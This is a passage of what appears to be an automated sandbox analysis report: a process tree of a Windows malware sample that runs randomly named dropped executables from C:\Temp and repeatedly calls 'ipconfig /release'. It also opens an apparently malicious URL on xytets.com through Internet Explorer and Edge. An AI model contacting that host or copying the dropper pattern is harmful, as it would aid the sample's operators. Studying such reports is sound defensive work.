        PID:3692
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2632
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_pmhfzxrpjh.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1708
  - - C:\Temp\i_pmhfzxrpjh.exe
      C:\Temp\i_pmhfzxrpjh.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4072
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\xrpjhbzurm.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3384
  - - C:\Temp\xrpjhbzurm.exe
      C:\Temp\xrpjhbzurm.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4688
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:380
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2352
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_xrpjhbzurm.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4636
  - - C:\Temp\i_xrpjhbzurm.exe
      C:\Temp\i_xrpjhbzurm.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1788
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\romjhbztro.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4560
  - - C:\Temp\romjhbztro.exe
      C:\Temp\romjhbztro.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3652
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1808
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5200
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_romjhbztro.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4792
  - - C:\Temp\i_romjhbztro.exe
      C:\Temp\i_romjhbztro.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:6088
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\bywroigbyt.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4840
  - - C:\Temp\bywroigbyt.exe
      C:\Temp\bywroigbyt.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1872
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1036
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4900
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_bywroigbyt.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1948
  - - C:\Temp\i_bywroigbyt.exe
      C:\Temp\i_bywroigbyt.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2032
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\tolgdyvqol.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2856
  - - C:\Temp\tolgdyvqol.exe
      C:\Temp\tolgdyvqol.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1852
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2680
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1132
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_tolgdyvqol.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1956
  - - C:\Temp\i_tolgdyvqol.exe
      C:\Temp\i_tolgdyvqol.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2264
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\idbvtnlfdy.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2764
  - - C:\Temp\idbvtnlfdy.exe
      C:\Temp\idbvtnlfdy.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:972
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4568
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5976
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_idbvtnlfdy.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:552
  - - C:\Temp\i_idbvtnlfdy.exe
      C:\Temp\i_idbvtnlfdy.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3480
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\kifayvtnli.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5156
  - - C:\Temp\kifayvtnli.exe
      C:\Temp\kifayvtnli.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4256
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3688
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2364
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_kifayvtnli.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4396
  - - C:\Temp\i_kifayvtnli.exe
      C:\Temp\i_kifayvtnli.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3568
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\kicausmkfc.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5628
  - - C:\Temp\kicausmkfc.exe
      C:\Temp\kicausmkfc.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1892
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5256
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5564
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_kicausmkfc.exe ups_ins
    3⤵
    PID:1688
  - - C:\Temp\i_kicausmkfc.exe
      C:\Temp\i_kicausmkfc.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1084
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\khfzxrmkec.exe ups_run
    3⤵
    PID:2036
  - - C:\Temp\khfzxrmkec.exe
      C:\Temp\khfzxrmkec.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5200
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5832
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1672
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_khfzxrmkec.exe ups_ins
    3⤵
    PID:5336
  - - C:\Temp\i_khfzxrmkec.exe
      C:\Temp\i_khfzxrmkec.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3448
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\xrpmhecxup.exe ups_run
    3⤵
    PID:2800
  - - C:\Temp\xrpmhecxup.exe
      C:\Temp\xrpmhecxup.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2732
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2640
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5460
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_xrpmhecxup.exe ups_ins
    3⤵
    PID:4084
  - - C:\Temp\i_xrpmhecxup.exe
      C:\Temp\i_xrpmhecxup.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:832
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ecwuomgezw.exe ups_run
    3⤵
    PID:2152
  - - C:\Temp\ecwuomgezw.exe
      C:\Temp\ecwuomgezw.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:408
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3620
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3404
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ecwuomgezw.exe ups_ins
    3⤵
    PID:2360
  - - C:\Temp\i_ecwuomgezw.exe
      C:\Temp\i_ecwuomgezw.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5976
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\mjebzwrojg.exe ups_run
    3⤵
    PID:1672
  - - C:\Temp\mjebzwrojg.exe
      C:\Temp\mjebzwrojg.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2808
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3048
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5900
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_mjebzwrojg.exe ups_ins
    3⤵
    PID:5664
  - - C:\Temp\i_mjebzwrojg.exe
      C:\Temp\i_mjebzwrojg.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3324
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ezwqojgeyw.exe ups_run
    3⤵
    PID:5472
  - - C:\Temp\ezwqojgeyw.exe
      C:\Temp\ezwqojgeyw.exe ups_run
      4⤵
      PID:2248
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1508
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5556
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ezwqojgeyw.exe ups_ins
    3⤵
    PID:1952
  - - C:\Temp\i_ezwqojgeyw.exe
      C:\Temp\i_ezwqojgeyw.exe ups_ins
      4⤵
      PID:3128
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\dbytqoigbv.exe ups_run
    3⤵
    PID:5996
  - - C:\Temp\dbytqoigbv.exe
      C:\Temp\dbytqoigbv.exe ups_run
      4⤵
      PID:5612
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4860
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4292
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_dbytqoigbv.exe ups_ins
    3⤵
    PID:2956
  - - C:\Temp\i_dbytqoigbv.exe
      C:\Temp\i_dbytqoigbv.exe ups_ins
      4⤵
      PID:3732
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\sqlidbvtnl.exe ups_run
    3⤵
    PID:1148
  - - C:\Temp\sqlidbvtnl.exe
      C:\Temp\sqlidbvtnl.exe ups_run
      4⤵
      PID:2656
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1588
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3780
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_sqlidbvtnl.exe ups_ins
    3⤵
    PID:1648
  - - C:\Temp\i_sqlidbvtnl.exe
      C:\Temp\i_sqlidbvtnl.exe ups_ins
      4⤵
      PID:3568
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\snlfcausnk.exe ups_run
    3⤵
    PID:6076
  - - C:\Temp\snlfcausnk.exe
      C:\Temp\snlfcausnk.exe ups_run
      4⤵
      PID:5896
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4200
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4456
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_snlfcausnk.exe ups_ins
    3⤵
    PID:2736
  - - C:\Temp\i_snlfcausnk.exe
      C:\Temp\i_snlfcausnk.exe ups_ins
      4⤵
      PID:4300
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ausqkfvpnk.exe ups_run
    3⤵
    PID:5088
  - - C:\Temp\ausqkfvpnk.exe
      C:\Temp\ausqkfvpnk.exe ups_run
      4⤵
      PID:2420
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5964
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5768
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ausqkfvpnk.exe ups_ins
    3⤵
    PID:2412
  - - C:\Temp\i_ausqkfvpnk.exe
      C:\Temp\i_ausqkfvpnk.exe ups_ins
      4⤵
      PID:3144
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:1984
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4236
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x334,0x7ffe10a4c188,0x7ffe10a4c194,0x7ffe10a4c1a0
      4⤵
      PID:976
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1920,i,11992381296967816659,3223370543852897344,524288 --field-trial-handle=2132,i,6486737900357540351,13315102977606343367,262144 --variations-seed-version --mojo-platform-channel-handle=2148 /prefetch:11
      4⤵
      System Time Discovery
      PID:3564
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1712,i,14256942070042577453,8146071190199029962,262144 --field-trial-handle=2132,i,6486737900357540351,13315102977606343367,262144 --variations-seed-version --mojo-platform-channel-handle=2124 /prefetch:2
      4⤵
      PID:680
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2684,i,9870491525500197238,2040165910396637111,524288 --field-trial-handle=2132,i,6486737900357540351,13315102977606343367,262144 --variations-seed-version --mojo-platform-channel-handle=2696 /prefetch:13
      4⤵
      PID:5248
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3512,i,9099767834137841181,16357237276291956562,2097152 --field-trial-handle=2132,i,6486737900357540351,13315102977606343367,262144 --variations-seed-version --mojo-platform-channel-handle=3556 /prefetch:1
      4⤵
      PID:3460
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3508,i,6980064835791724772,12361337437013276224,2097152 --field-trial-handle=2132,i,6486737900357540351,13315102977606343367,262144 --variations-seed-version --mojo-platform-channel-handle=3552 /prefetch:1
      4⤵
      PID:4972
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4220,i,12282384025937078947,17458856629065355281,2097152 --field-trial-handle=2132,i,6486737900357540351,13315102977606343367,262144 --variations-seed-version --mojo-platform-channel-handle=4856 /prefetch:1
      4⤵
      PID:5820
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4232,i,6909822073665736690,3246589526238794052,2097152 --field-trial-handle=2132,i,6486737900357540351,13315102977606343367,262144 --variations-seed-version --mojo-platform-channel-handle=4864 /prefetch:9
      4⤵
      PID:2624
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5216,i,5010946466970586230,1455723596850011260,524288 --field-trial-handle=2132,i,6486737900357540351,13315102977606343367,262144 --variations-seed-version --mojo-platform-channel-handle=3752 /prefetch:14
      4⤵
      PID:588
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5316,i,15429445452348475596,8316516382899097229,524288 --field-trial-handle=2132,i,6486737900357540351,13315102977606343367,262144 --variations-seed-version --mojo-platform-channel-handle=5328 /prefetch:14
      4⤵
      PID:1880
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5300,i,1378330501665280644,8156058431281651178,524288 --field-trial-handle=2132,i,6486737900357540351,13315102977606343367,262144 --variations-seed-version --mojo-platform-channel-handle=5332 /prefetch:14
      4⤵
      PID:1448
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6116,i,6780028192837236829,7183699580422690786,524288 --field-trial-handle=2132,i,6486737900357540351,13315102977606343367,262144 --variations-seed-version --mojo-platform-channel-handle=6104 /prefetch:14
      4⤵
      PID:5440
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6116,i,6780028192837236829,7183699580422690786,524288 --field-trial-handle=2132,i,6486737900357540351,13315102977606343367,262144 --variations-seed-version --mojo-platform-channel-handle=6104 /prefetch:14
      4⤵
      PID:2040
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6268,i,4714615145742321657,12589981830699849490,524288 --field-trial-handle=2132,i,6486737900357540351,13315102977606343367,262144 --variations-seed-version --mojo-platform-channel-handle=6284 /prefetch:14
      4⤵
      PID:4252
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6428,i,1245500167219370048,8909631256194061266,524288 --field-trial-handle=2132,i,6486737900357540351,13315102977606343367,262144 --variations-seed-version --mojo-platform-channel-handle=6320 /prefetch:14
      4⤵
      PID:1028
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=6424,i,34111233989985034,13898737087481719580,2097152 --field-trial-handle=2132,i,6486737900357540351,13315102977606343367,262144 --variations-seed-version --mojo-platform-channel-handle=6592 /prefetch:1
      4⤵
      PID:3188
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=6748,i,16140699022586902935,4446013736661175430,2097152 --field-trial-handle=2132,i,6486737900357540351,13315102977606343367,262144 --variations-seed-version --mojo-platform-channel-handle=3624 /prefetch:1
      4⤵
      PID:3536
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4568,i,1651904096773803962,1771091357386075083,524288 --field-trial-handle=2132,i,6486737900357540351,13315102977606343367,262144 --variations-seed-version --mojo-platform-channel-handle=4992 /prefetch:14
      4⤵
      PID:336
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5044,i,6697247638781078012,3263430225919420398,524288 --field-trial-handle=2132,i,6486737900357540351,13315102977606343367,262144 --variations-seed-version --mojo-platform-channel-handle=5020 /prefetch:14
      4⤵
      PID:1216
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5032,i,5177177726171172616,8371634009277410044,524288 --field-trial-handle=2132,i,6486737900357540351,13315102977606343367,262144 --variations-seed-version --mojo-platform-channel-handle=4836 /prefetch:14
      4⤵
      PID:2424
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5632,i,17873826747778191903,14840940441314981012,524288 --field-trial-handle=2132,i,6486737900357540351,13315102977606343367,262144 --variations-seed-version --mojo-platform-channel-handle=5440 /prefetch:14
      4⤵
      PID:5064
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4040,i,2747782886551347236,3406945115060924708,524288 --field-trial-handle=2132,i,6486737900357540351,13315102977606343367,262144 --variations-seed-version --mojo-platform-channel-handle=6048 /prefetch:14
      4⤵
      PID:4536
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4040,i,7105485853152283364,15116406039701269511,524288 --field-trial-handle=2132,i,6486737900357540351,13315102977606343367,262144 --variations-seed-version --mojo-platform-channel-handle=4048 /prefetch:14
      4⤵
      PID:4592
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6328,i,1321097427301295900,5272792226193440045,524288 --field-trial-handle=2132,i,6486737900357540351,13315102977606343367,262144 --variations-seed-version --mojo-platform-channel-handle=5000 /prefetch:14
      4⤵
      PID:2504
